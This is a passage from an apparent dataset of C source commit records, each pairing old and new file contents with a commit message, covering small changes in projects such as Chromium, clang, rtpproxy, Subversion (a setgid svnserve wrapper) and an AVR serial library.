Windows\n","lang":"C","license":"agpl-3.0","repos":"TeamHypersomnia\/Hypersomnia,TeamHypersomnia\/Augmentations,TeamHypersomnia\/Hypersomnia,TeamHypersomnia\/Augmentations,TeamHypersomnia\/Hypersomnia,TeamHypersomnia\/Hypersomnia,TeamHypersomnia\/Hypersomnia"}
{"commit":"76df39bdfbc3eaa67abde2a413b0610a29502520","old_file":"USART.h","new_file":"USART.h","old_contents":"\/*\r\n * USART.h\r\n *\r\n * Created: 2016\/9\/10 16:30:30\r\n *  Author: dusch\r\n *\/ \r\n\r\n\r\n#ifndef USART_H_\r\n#define USART_H_\r\n\r\n#define BAUD 9600\r\n#define F_CPU 12000000UL\r\n#include <avr\/interrupt.h>\r\n\r\nvoid USART_Init(void);\r\nvoid USART_Transmit(unsigned char data);\r\nunsigned char USART_Receive(void);\r\n\r\n\r\n\r\n#endif \/* USART_H_ *\/\r\n","new_contents":"\/*\r\n * USART.h\r\n *\r\n * Created: 2016\/9\/10 16:30:30\r\n *  Author: dusch\r\n *\/ \r\n\r\n\r\n#ifndef USART_H_\r\n#define USART_H_\r\n\r\n#define BAUD 9600\r\n#define F_CPU 8000000UL\r\n#include <avr\/interrupt.h>\r\n\r\nvoid USART_Init(void);\r\nvoid USART_Transmit(unsigned char data);\r\nunsigned char USART_Receive(void);\r\n\r\n\r\n\r\n#endif \/* USART_H_ *\/\r\n","subject":"Change default F_CPU from 12000000 to 8000000","message":"Change default F_CPU from 12000000 to 8000000\n","lang":"C","license":"bsd-3-clause","repos":"Schummacher\/AVR_SCLib,Schummacher\/AVR_SCLib"}
{"commit":"e8804501f1561e6244bd8a86ce08bbb84c0d1dcc","old_file":"ext\/osl\/rbosl_move.h","new_file":"ext\/osl\/rbosl_move.h","old_contents":"","new_contents":"#include \"ruby.h\"\n#include <osl\/move.h>\n\nextern  VALUE cMove;\n\nusing namespace osl;\n\nvoid rb_move_free(Move* ptr);\nstatic VALUE rb_move_s_new(VALUE self);\n\nvoid Init_move(void);\n","subject":"Add a header file for osl::Move","message":"Add a header file for osl::Move\n","lang":"C","license":"mit","repos":"myokoym\/ruby-osl,myokoym\/ruby-osl,myokoym\/ruby-osl"}
{"commit":"c894081a7f7ac467d6282b8955e32dd3ac040ef1","old_file":"base\/float_util.h","new_file":"base\/float_util.h","old_contents":"\/\/ Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef BASE_FLOAT_UTIL_H_\n#define BASE_FLOAT_UTIL_H_\n#pragma once\n\n#include \"build\/build_config.h\"\n\n#include <float.h>\n#include <math.h>\n\n#if defined(OS_SOLARIS)\n#include <ieeefp.h>\n#endif\n\nnamespace base {\n\ninline bool IsFinite(const double& number) {\n#if defined(OS_POSIX)\n  return finite(number) != 0;\n#elif defined(OS_WIN)\n  return _finite(number) != 0;\n#endif\n}\n\n}  \/\/ namespace base\n\n#endif  \/\/ BASE_FLOAT_UTIL_H_\n","new_contents":"\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef BASE_FLOAT_UTIL_H_\n#define BASE_FLOAT_UTIL_H_\n#pragma once\n\n#include \"build\/build_config.h\"\n\n#include <float.h>\n#include <math.h>\n\n#if defined(OS_SOLARIS)\n#include <ieeefp.h>\n#endif\n\nnamespace base {\n\ninline bool IsFinite(const double& number) {\n#if defined(OS_MACOSX)\n  \/\/ C99 says isfinite() replaced finite(), and iOS does not provide the\n  \/\/ older call.\n  return isfinite(number) != 0;\n#elif defined(OS_POSIX)\n  return finite(number) != 0;\n#elif defined(OS_WIN)\n  return _finite(number) != 0;\n#endif\n}\n\n}  \/\/ namespace base\n\n#endif  \/\/ BASE_FLOAT_UTIL_H_\n","subject":"Use isfinite instead of finite on Mac","message":"Use isfinite instead of finite on Mac\n\nAccording to math.h in the 10.6 SDK, finite is deprecated in favor of isfinite, and finite isn't available on iOS.\n\nBUG=None\nTEST=None\n\n\nReview URL: https:\/\/chromiumcodereview.appspot.com\/10704126\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@145876 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"dushu1203\/chromium.src,hujiajie\/pa-chromium,dednal\/chromium.src,timopulkkinen\/BubbleFish,crosswalk-project\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk-efl,dednal\/chromium.src,pozdnyakov\/chromium-crosswalk,M4sse\/chromium.src,Jonekee\/chromium.src,patrickm\/chromium.src,patrickm\/chromium.src,keishi\/chromium,axinging\/chromium-crosswalk,hujiajie\/pa-chromium,ondra-novak\/chromium.src,PeterWangIntel\/chromium-crosswalk,ChromiumWebApps\/chromium,junmin-zhu\/chromium-rivertrail,Fireblend\/chromium-crosswalk,M4sse\/chromium.src,ondra-novak\/chromium.src,pozdnyakov\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,zcbenz\/cefode-chromium,crosswalk-project\/chromium-crosswalk-efl,ondra-novak\/chromium.src,PeterWangIntel\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,littlstar\/chromium.src,axinging\/chromium-crosswalk,chuan9\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,mogoweb\/chromium-crosswalk,M4sse\/chromium.src,hujiajie\/pa-chromium,ltilve\/chromium,axinging\/chromium-crosswalk,nacl-webkit\/chrome_deps,Jonekee\/chromium.src,pozdnyakov\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,axinging\/chromium-crosswalk,jaruba\/chromium.src,ChromiumWebApps\/chromium,hgl888\/chromium-crosswalk-efl,Just-D\/chromium-1,pozdnyakov\/chromium-crosswalk,ChromiumWebApps\/chromium,PeterWangIntel\/chromium-crosswalk,markYoungH\/chromium.src,Jonekee\/chromium.src,Pluto-tv\/chromium-crosswalk,dednal\/chromium.src,M4sse\/chromium.src,ondra-novak\/chromium.src,bright-sparks\/chromium-spacewalk,chuan9\/chromium-crosswalk,nacl-webkit\/chrome_deps,keishi\/chromium,hgl888\/chromium-crosswalk,anirudhSK\/chromium,keishi\/chromium,patrickm\/chromium.src,Jonekee\/chromium.src,dushu1203\/chromium.src,bright-sparks\/chromium-spacewalk,Chilledheart\/chromium,hgl888\/chromium-crosswalk-efl,junmin-zhu\/chromium-rivertrail,chuan9\/chromium-crosswalk,timopulkkinen\/BubbleFish,crosswalk-project\/chromium-crosswalk-efl,PeterWangIntel\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,Jonekee\/chromium.src,Chilledheart\/chromium,timopulkkinen\/BubbleFish,markYoungH\/chromium.src,TheTypoMaster\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,keishi\/chromium,hgl888\/chromium-crosswalk,Jonekee\/chromium.src,hgl888\/chromium-crosswalk-efl,pozdnyakov\/chromium-crosswalk,jaruba\/chromium.src,jaruba\/chromium.src,junmin-zhu\/chromium-rivertrail,anirudhSK\/chromium,krieger-od\/nwjs_chromium.src,timopulkkinen\/BubbleFish,Chilledheart\/chromium,krieger-od\/nwjs_chromium.src,mohamed--abdel-maksoud\/chromium.src,TheTypoMaster\/chromium-crosswalk,ChromiumWebApps\/chromium,patrickm\/chromium.src,axinging\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,ChromiumWebApps\/chromium,Just-D\/chromium-1,mohamed--abdel-maksoud\/chromium.src,axinging\/chromium-crosswalk,hujiajie\/pa-chromium,Pluto-tv\/chromium-crosswalk,zcbenz\/cefode-chromium,patrickm\/chromium.src,TheTypoMaster\/chromium-crosswalk,ltilve\/chromium,mogoweb\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,Fireblend\/chromium-crosswalk,timopulkkinen\/BubbleFish,krieger-od\/nwjs_chromium.src,junmin-zhu\/chromium-rivertrail,krieger-od\/nwjs_chromium.src,pozdnyakov\/chromium-crosswalk,hujiajie\/pa-chromium,hgl888\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,markYoungH\/chromium.src,ltilve\/chromium,Just-D\/chromium-1,junmin-zhu\/chromium-rivertrail,markYoungH\/chromium.src,krieger-od\/nwjs_chromium.src,hgl888\/chromium-crosswalk-efl,ChromiumWebApps\/chromium,zcbenz\/cefode-chromium,timopulkkinen\/BubbleFish,Pluto-tv\/chromium-crosswalk,Chilledheart\/chromium,chuan9\/chromium-crosswalk,Just-D\/chromium-1,mogoweb\/chromium-crosswalk,zcbenz\/cefode-chromium,anirudhSK\/chromium,Just-D\/chromium-1,markYoungH\/chromium.src,anirudhSK\/chromium,nacl-webkit\/chrome_deps,axinging\/chromium-crosswalk,Fireblend\/chromium-crosswalk,timopulkkinen\/BubbleFish,jaruba\/chromium.src,zcbenz\/cefode-chromium,dednal\/chromium.src,dushu1203\/chromium.src,fujunwei\/chromium-crosswalk,patrickm\/chromium.src,ondra-novak\/chromium.src,ondra-novak\/chromium.src,patrickm\/chromium.src,Pluto-tv\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,Fireblend\/chromium-crosswalk,hgl888\/chromium-crosswalk,littlstar\/chromium.src,mogoweb\/chromium-crosswalk,ltilve\/chromium,mohamed--abdel-maksoud\/chromium.src,ondra-novak\/chromium.src,keishi\/chromium,TheTypoMaster\/chromium-crosswalk,anirudhSK\/chromium,mohamed--abdel-maksoud\/chromium.src,jaruba\/chromium.src,zcbenz\/cefode-chromium,Just-D\/chromium-1,M4sse\/chromium.src,jaruba\/chromium.src,Chilledheart\/chromium,Chilledheart\/chromium,keishi\/chromium,junmin-zhu\/chromium-rivertrail,ltilve\/chromium,PeterWangIntel\/chromium-crosswalk,fujunwei\/chromium-crosswalk,dednal\/chromium.src,nacl-webkit\/chrome_deps,patrickm\/chromium.src,Fireblend\/chromium-crosswalk,dednal\/chromium.src,dushu1203\/chromium.src,dushu1203\/chromium.src,jaruba\/chromium.src,mogoweb\/chromium-crosswalk,timopulkkinen\/BubbleFish,fujunwei\/chromium-crosswalk,dednal\/chromium.src,Just-D\/chromium-1,anirudhSK\/chromium,markYoungH\/chromium.src,fujunwei\/chromium-crosswalk,keishi\/chromium,dushu1203\/chromium.src,keishi\/chromium,jaruba\/chromium.src,chuan9\/chromium-crosswalk,Chilledheart\/chromium,nacl-webkit\/chrome_deps,Pluto-tv\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,dushu1203\/chromium.src,mogoweb\/chromium-crosswalk,markYoungH\/chromium.src,Fireblend\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,nacl-webkit\/chrome_deps,dednal\/chromium.src,hgl888\/chromium-crosswalk,Fireblend\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,keishi\/chromium,ltilve\/chromium,Just-D\/chromium-1,pozdnyakov\/chromium-crosswalk,mogoweb\/chromium-crosswalk,jaruba\/chromium.src,hgl888\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,bright-sparks\/chromium-spacewalk,chuan9\/chromium-crosswalk,nacl-webkit\/chrome_deps,krieger-od\/nwjs_chromium.src,krieger-od\/nwjs_chromium.src,hujiajie\/pa-chromium,PeterWangIntel\/chromium-crosswalk,hujiajie\/pa-chromium,Pluto-tv\/chromium-crosswalk,littlstar\/chromium.src,Chilledheart\/chromium,nacl-webkit\/chrome_deps,fujunwei\/chromium-crosswalk,fujunwei\/chromium-crosswalk,ChromiumWebApps\/chromium,mohamed--abdel-maksoud\/chromium.src,Jonekee\/chromium.src,dushu1203\/chromium.src,zcbenz\/cefode-chromium,TheTypoMaster\/chromium-crosswalk,Just-D\/chromium-1,hgl888\/chromium-crosswalk,fujunwei\/chromium-crosswalk,nacl-webkit\/chrome_deps,hujiajie\/pa-chromium,PeterWangIntel\/chromium-crosswalk,mogoweb\/chromium-crosswalk,M4sse\/chromium.src,mogoweb\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,mogoweb\/chromium-crosswalk,axinging\/chromium-crosswalk,M4sse\/chromium.src,mohamed--abdel-maksoud\/chromium.src,zcbenz\/cefode-chromium,dushu1203\/chromium.src,axinging\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,littlstar\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,anirudhSK\/chromium,hgl888\/chromium-crosswalk-efl,zcbenz\/cefode-chromium,Jonekee\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,zcbenz\/cefode-chromium,littlstar\/chromium.src,Pluto-tv\/chromium-crosswalk,ChromiumWebApps\/chromium,anirudhSK\/chromium,dednal\/chromium.src,jaruba\/chromium.src,jaruba\/chromium.src,mohamed--abdel-maksoud\/chromium.src,hujiajie\/pa-chromium,krieger-od\/nwjs_chromium.src,chuan9\/chromium-crosswalk,markYoungH\/chromium.src,anirudhSK\/chromium,Fireblend\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,ondra-novak\/chromium.src,nacl-webkit\/chrome_deps,junmin-zhu\/chromium-rivertrail,dushu1203\/chromium.src,bright-sparks\/chromium-spacewalk,hujiajie\/pa-chromium,TheTypoMaster\/chromium-crosswalk,Jonekee\/chromium.src,markYoungH\/chromium.src,littlstar\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,anirudhSK\/chromium,M4sse\/chromium.src,mohamed--abdel-maksoud\/chromium.src,dushu1203\/chromium.src,Fireblend\/chromium-crosswalk,axinging\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,markYoungH\/chromium.src,patrickm\/chromium.src,anirudhSK\/chromium,bright-sparks\/chromium-spacewalk,chuan9\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,Pluto-tv\/chromium-crosswalk,hgl888\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,Jonekee\/chromium.src,markYoungH\/chromium.src,M4sse\/chromium.src,ltilve\/chromium,ChromiumWebApps\/chromium,nacl-webkit\/chrome_deps,littlstar\/chromium.src,hgl888\/chromium-crosswalk-efl,chuan9\/chromium-crosswalk,fujunwei\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,PeterWangIntel\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,timopulkkinen\/BubbleFish,Chilledheart\/chromium,hujiajie\/pa-chromium,keishi\/chromium,ondra-novak\/chromium.src,anirudhSK\/chromium,zcbenz\/cefode-chromium,ltilve\/chromium,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,littlstar\/chromium.src,fujunwei\/chromium-crosswalk,ChromiumWebApps\/chromium,keishi\/chromium,timopulkkinen\/BubbleFish,Jonekee\/chromium.src,ChromiumWebApps\/chromium,krieger-od\/nwjs_chromium.src,dednal\/chromium.src,timopulkkinen\/BubbleFish,M4sse\/chromium.src,dednal\/chromium.src,ChromiumWebApps\/chromium,M4sse\/chromium.src,hgl888\/chromium-crosswalk,ltilve\/chromium"}
{"commit":"0d3b50ec8667ef96e6aa774e2617eb5a8c5f8034","old_file":"test\/CodeGen\/writable-strings.c","new_file":"test\/CodeGen\/writable-strings.c","old_contents":"\/\/ RUN: clang -emit-llvm -fwritable-string %s\n\nint main() {\n    char *str = \"abc\";\n    str[0] = '1';\n    printf(\"%s\", str);\n}\n\n","new_contents":"\/\/ RUN: clang -emit-llvm -fwritable-strings %s\n\nint main() {\n    char *str = \"abc\";\n    str[0] = '1';\n    printf(\"%s\", str);\n}\n\n","subject":"Fix typo in writable string test","message":"Fix typo in writable string test\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@44398 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"7d9656b13d1425481e2af8656f7009ad1056e484","old_file":"trace.h","new_file":"trace.h","old_contents":"#ifndef _TRACE_H_\n#define _TRACE_H_\n#include <stdio.h>\n#include <errno.h>\n\n#ifdef DEBUG\n#define TRACE ERROR\n#else\n#define TRACE(fmt,arg...) ((void) 0)\n#endif\n\n#ifdef DEBUG\n#define ERROR(fmt,arg...) \\\n  fprintf(stderr, \"%s:%d: \"fmt, __func__, __LINE__, ##arg)\n#else\n#define ERROR(fmt,arg...) \\\n  fprintf(stderr, \"%s: \"fmt, program_invocation_short_name, ##arg)\n#endif\n\n#define FATAL(fmt,arg...) do { \\\n    ERROR(fmt, ##arg);         \\\n    exit(1);                   \\\n  } while (0)\n\n#endif\n","new_contents":"#ifndef _TRACE_H_\n#define _TRACE_H_\n#include <stdio.h>\n#include <errno.h>\n\n#ifdef DEBUG\n#define TRACE ERROR\n#else\nstatic inline void TRACE(const char *fmt, ...) { }\n#endif\n\n#ifdef DEBUG\n#define ERROR(fmt,arg...) \\\n  fprintf(stderr, \"%s:%d: \"fmt, __func__, __LINE__, ##arg)\n#else\n#define ERROR(fmt,arg...) \\\n  fprintf(stderr, \"%s: \"fmt, program_invocation_short_name, ##arg)\n#endif\n\n#define FATAL(fmt,arg...) do { \\\n    ERROR(fmt, ##arg);         \\\n    exit(1);                   \\\n  } while (0)\n\n#endif\n","subject":"Make TRACE() safe when DEBUG is disabled.","message":"Make TRACE() safe when DEBUG is disabled.\n","lang":"C","license":"lgpl-2.1","repos":"dimm0\/tacc_stats,aaichsmn\/tacc_stats,dimm0\/tacc_stats,sdsc\/xsede_stats,dimm0\/tacc_stats,TACC\/tacc_stats,sdsc\/xsede_stats,ubccr\/tacc_stats,TACCProjects\/tacc_stats,dimm0\/tacc_stats,TACCProjects\/tacc_stats,dimm0\/tacc_stats,TACCProjects\/tacc_stats,sdsc\/xsede_stats,TACCProjects\/tacc_stats,ubccr\/tacc_stats,rtevans\/tacc_stats_old,aaichsmn\/tacc_stats,aaichsmn\/tacc_stats,rtevans\/tacc_stats_old,ubccr\/tacc_stats,aaichsmn\/tacc_stats,ubccr\/tacc_stats,sdsc\/xsede_stats,ubccr\/tacc_stats,TACC\/tacc_stats,TACC\/tacc_stats,rtevans\/tacc_stats_old,TACC\/tacc_stats,TACC\/tacc_stats"}
{"commit":"754fbe3028dff6448a4d50ead35911578f91c7d8","old_file":"test\/test_encode_atom.c","new_file":"test\/test_encode_atom.c","old_contents":"#include <bert\/encoder.h>\n#include <bert\/magic.h>\n#include <bert\/errno.h>\n\n#include \"test.h\"\n#include <string.h>\n\nunsigned char output[6];\n\nvoid test_output()\n{\n\tif (output[0] != BERT_MAGIC)\n\t{\n\t\ttest_fail(\"bert_encoder_push did not add the magic byte\");\n\t}\n\n\tif (output[1] != BERT_ATOM)\n\t{\n\t\ttest_fail(\"bert_encoder_push did not add the SMALL_INT magic byte\");\n\t}\n\n\tsize_t expected_length = 2;\n\n\tif (output[3] != expected_length)\n\t{\n\t\ttest_fail(\"bert_encoder_push encoded %u as the atom length, expected %u\",output[3],expected_length);\n\t}\n\n\tconst char *expected = \"id\";\n\n\ttest_strings((const char *)(output+4),expected,expected_length);\n}\n\nint main()\n{\n\tbert_encoder_t *encoder = test_encoder(output,6);\n\tbert_data_t *data;\n\n\tif (!(data = bert_data_create_atom(\"id\")))\n\t{\n\t\ttest_fail(\"malloc failed\");\n\t}\n\n\ttest_encoder_push(encoder,data);\n\n\tbert_data_destroy(data);\n\tbert_encoder_destroy(encoder);\n\n\ttest_output();\n\treturn 0;\n}\n","new_contents":"#include <bert\/encoder.h>\n#include <bert\/magic.h>\n#include <bert\/errno.h>\n\n#include \"test.h\"\n#include <string.h>\n\n#define EXPECTED_LENGTH 2\n#define EXPECTED\t\"id\"\n#define OUTPUT_SIZE\t(1 + 1 + 2 + EXPECTED_LENGTH)\n\nunsigned char output[OUTPUT_SIZE];\n\nvoid test_output()\n{\n\tif (output[0] != BERT_MAGIC)\n\t{\n\t\ttest_fail(\"bert_encoder_push did not add the magic byte\");\n\t}\n\n\tif (output[1] != BERT_ATOM)\n\t{\n\t\ttest_fail(\"bert_encoder_push did not add the SMALL_INT magic byte\");\n\t}\n\n\tif (output[3] != EXPECTED_LENGTH)\n\t{\n\t\ttest_fail(\"bert_encoder_push encoded %u as the atom length, expected %u\",output[3],expected_length);\n\t}\n\n\ttest_strings((const char *)(output+4),EXPECTED,expected_length);\n}\n\nint main()\n{\n\tbert_encoder_t *encoder = test_encoder(output,OUTPUT_SIZE);\n\tbert_data_t *data;\n\n\tif (!(data = bert_data_create_atom(EXPECTED)))\n\t{\n\t\ttest_fail(\"malloc failed\");\n\t}\n\n\ttest_encoder_push(encoder,data);\n\n\tbert_data_destroy(data);\n\tbert_encoder_destroy(encoder);\n\n\ttest_output();\n\treturn 0;\n}\n","subject":"Use EXPECTED\/EXPECTED_LENGTH\/OUTPUT_SIZE macros in the atom encoding test.","message":"Use EXPECTED\/EXPECTED_LENGTH\/OUTPUT_SIZE macros in the atom encoding test.\n","lang":"C","license":"mit","repos":"postmodern\/libBERT"}
{"commit":"b6d8576055965aed1d2cf796936c293462778b66","old_file":"screen_list.c","new_file":"screen_list.c","old_contents":"","new_contents":"\/\/Finished just draw_new function, Sleeping zzZZ\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#define LENLINE 255\n\n\/\/global variable assignment\nstruct node {\n\tchar string[LENLINE];\n\tstruct node *next; \/\/next and previous address node linked\n};\n\nint line_amount = 0;\n\nint draw_new(char *name, int socket,struct node *root); \/\/ addcontact prototype\nint pop_contact(char *name, struct node *root); \/\/ pop prototype\nint read(struct node *root); \/\/ read prototype\n\nint main(){\n\n\t\/\/Initial username's linked list\n\tstruct node *root, *current;\n\troot = malloc(sizeof(struct node));\n\troot->next = 0;\n\tcurrent = root;\n\n}\n\n\/\/------------------------------------------------------------------------------\n\nint draw_new(char *string, struct node *root){\n\n\tint i = 0;\n\tstruct node *current;\n\n\tcurrent = root;\n\twhile ( current->next != 0)\n        current = current->next;\n\n\t\/\/########## create new node ##########\/\/\n\n\tcurrent->next = malloc(sizeof(struct node));\n\tcurrent = current->next;\n\tcurrent->next = 0;\n\n\t\/\/Copy input string into string's var inside node\n\tstrcpy(current->string, string);\n\n\tline_amount++;\n\n}\n\n\/\/-------------------------------------------------------------------------------\n\nint pop_contact(char *name,struct node *root){\n\tstruct node *current, *temp;\n\tcurrent = root;\n\n\twhile(current->next != 0){\n\t\tif(strcmp(current->next->username, name) == 0){\n\t\t\ttemp = current->next;\n\t\t\tcurrent->next = current->next->next;\n\t\t\tfree(temp);\t\t\t\t  \/\/ clear(pop) memory of disconect node.\n\t\t\treturn 0;\n\t\t}\n\t\tcurrent = current->next;\n\t}\n}\n\n\/\/---------------------------------------------------------------------------------\n\n\nint read(struct node *root){\n\tstruct node *current;\n\tcurrent = root;\n\twhile(current->next != 0){\n\t\tcurrent = current->next;\n\t\tprintf(\"----------------------\\n\");\n\t\tprintf(\"User : %s\\nsocket : %d\\n\", current->username, current->socket);\n\t\tprintf(\"----------------------\\n\");\n\t}\n}\n","subject":"Implement add_contant to draw function","message":"Implement add_contant to draw function\n\n","lang":"C","license":"mit","repos":"chin8628\/terminal-s-chat"}
{"commit":"9ab39d421665c1420afae6d8e006b01e7d0e6c61","old_file":"modules\/acct_csv\/rtpp_csv_acct.c","new_file":"modules\/acct_csv\/rtpp_csv_acct.c","old_contents":"#include <stdint.h>\n#include <stdlib.h>\n\n#include \"rtpp_module.h\"\n\n#define MI_VER_INIT(sname) {.rev = MODULE_API_REVISION, .mi_size = sizeof(sname)}\n\nstruct moduleinfo rtpp_module = {\n    .name = \"csv_acct\",\n    .ver = MI_VER_INIT(struct moduleinfo)\n};\n","new_contents":"#include <assert.h>\n#include <stdint.h>\n#include <stdlib.h>\n\n#include \"rtpp_types.h\"\n#include \"rtpp_module.h\"\n\n#define MI_VER_INIT(sname) {.rev = MODULE_API_REVISION, .mi_size = sizeof(sname)}\n\nstruct rtpp_module_priv {\n   int foo;\n};\n\nstatic struct rtpp_module_priv *rtpp_csv_acct_ctor(struct rtpp_cfg_stable *);\nstatic void rtpp_csv_acct_dtor(struct rtpp_module_priv *);\n\nstruct moduleinfo rtpp_module = {\n    .name = \"csv_acct\",\n    .ver = MI_VER_INIT(struct moduleinfo),\n    .ctor = rtpp_csv_acct_ctor,\n    .dtor = rtpp_csv_acct_dtor\n};\n\nstatic struct rtpp_module_priv bar;\n\nstatic struct rtpp_module_priv *\nrtpp_csv_acct_ctor(struct rtpp_cfg_stable *cfsp)\n{\n\n    bar.foo = 123456;\n    return (&bar);\n}\n\nstatic void\nrtpp_csv_acct_dtor(struct rtpp_module_priv *pvt)\n{\n\n    assert(pvt->foo == 123456);\n    return;\n}\n","subject":"Add simple constructor and destructor.","message":"Add simple constructor and destructor.\n","lang":"C","license":"bsd-2-clause","repos":"synety-jdebp\/rtpproxy,dsanders11\/rtpproxy,dsanders11\/rtpproxy,sippy\/rtpproxy,dsanders11\/rtpproxy,jevonearth\/rtpproxy,synety-jdebp\/rtpproxy,synety-jdebp\/rtpproxy,jevonearth\/rtpproxy,jevonearth\/rtpproxy,jevonearth\/rtpproxy,synety-jdebp\/rtpproxy,sippy\/rtpproxy,sippy\/rtpproxy"}
{"commit":"0c59c40279df5d9fe88e254e04709fc361ab35d1","old_file":"tools\/examples\/svnserve-sgid.c","new_file":"tools\/examples\/svnserve-sgid.c","old_contents":"","new_contents":"\/*\n * Wrapper to run the svnserve process setgid.\n * The idea is to avoid the problem that some interpreters like bash\n * invoked by svnserve in hook scripts will reset the effective gid to\n * the real gid, nuking the effect of an ordinary setgid svnserve binary.\n * Sadly, to set the real gid portably, you need to be root, if only\n * for a moment.\n * Also smashes the environment to something known, so that games\n * can't be played to try to break the security of the hook scripts,\n * by setting IFS, PATH, and similar means.\n *\/\n\/*\n * Written by Perry Metzger, and placed into the public domain.\n *\/\n\n#include <stdio.h>\n#include <unistd.h>\n\n#define REAL_PATH \"\/usr\/bin\/svnserve.real\"\n\nchar *newenv[] = { \"PATH=\/bin:\/usr\/bin\", \"SHELL=\/bin\/sh\", NULL };\n\nint\nmain(int argc, char **argv)\n{\n\tif (setgid(getegid()) == -1) {\n\t\tperror(\"setgid(getegid())\");\n\t\treturn 1;\n\t}\n\n\tif (seteuid(getuid()) == -1) {\n\t\tperror(\"seteuid(getuid())\");\n\t\treturn 1;\n\t}\n\n\texecve(REAL_PATH, argv, newenv);\n\tperror(\"attempting to exec \" REAL_PATH \" failed\");\n\treturn 1;\n}\n","subject":"Add Perry Metzger's wrapper to run the svnserve process setgid, since this can be very helpful to svn+ssh users. Quoting from the comments:","message":"Add Perry Metzger's wrapper to run the svnserve process setgid,\nsince this can be very helpful to svn+ssh users.  Quoting from the\ncomments:\n\n * The idea is to avoid the problem that some interpreters like bash\n * invoked by svnserve in hook scripts will reset the effective gid to\n * the real gid, nuking the effect of an ordinary setgid svnserve binary.\n * Sadly, to set the real gid portably, you need to be root, if only\n * for a moment.\n * Also smashes the environment to something known, so that games\n * can't be played to try to break the security of the hook scripts,\n * by setting IFS, PATH, and similar means.\n\n* tools\/examples\/svnserve-sgid.c:  new file.\n","lang":"C","license":"apache-2.0","repos":"jmckaskill\/subversion,jmckaskill\/subversion,jmckaskill\/subversion,jmckaskill\/subversion,jmckaskill\/subversion,jmckaskill\/subversion,jmckaskill\/subversion,jmckaskill\/subversion"}
{"commit":"94693767f1b911afa9b11b4b1fa5ffd1b2eaaac2","old_file":"include\/xiot\/XIOTConfig.h","new_file":"include\/xiot\/XIOTConfig.h","old_contents":"\/*=========================================================================\n     This file is part of the XIOT library.\n\n     Copyright (C) 2008-2009 EDF R&D\n     Author: Kristian Sons (xiot@actor3d.com)\n\n     This library is free software; you can redistribute it and\/or modify\n     it under the terms of the GNU Lesser Public License as published by\n     the Free Software Foundation; either version 2.1 of the License, or\n     (at your option) any later version.\n\n     The XIOT library is distributed in the hope that it will be useful,\n     but WITHOUT ANY WARRANTY; without even the implied warranty of\n     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n     GNU Lesser Public License for more details.\n\n     You should have received a copy of the GNU Lesser Public License\n     along with XIOT; if not, write to the Free Software\n     Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,\n     MA 02110-1301  USA\n=========================================================================*\/\n#ifndef __XIOTConfigure_h\n#define __XIOTConfigure_h\n\n#include \"xiot_export.h\"\n\n#if defined(_MSC_VER)\n#pragma warning(disable : 4275) \/* non-DLL-interface base class used *\/\n#pragma warning(disable : 4251) \/* needs to have dll-interface to be used by clients *\/\n\/* No warning for safe windows only functions *\/\n#define _CRT_SECURE_NO_WARNINGS\n#endif\n\n#endif  \/\/ __x3dexporterConfigure_h\n","new_contents":"\/*=========================================================================\n     This file is part of the XIOT library.\n\n     Copyright (C) 2008-2009 EDF R&D\n     Author: Kristian Sons (xiot@actor3d.com)\n\n     This library is free software; you can redistribute it and\/or modify\n     it under the terms of the GNU Lesser Public License as published by\n     the Free Software Foundation; either version 2.1 of the License, or\n     (at your option) any later version.\n\n     The XIOT library is distributed in the hope that it will be useful,\n     but WITHOUT ANY WARRANTY; without even the implied warranty of\n     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n     GNU Lesser Public License for more details.\n\n     You should have received a copy of the GNU Lesser Public License\n     along with XIOT; if not, write to the Free Software\n     Foundation, 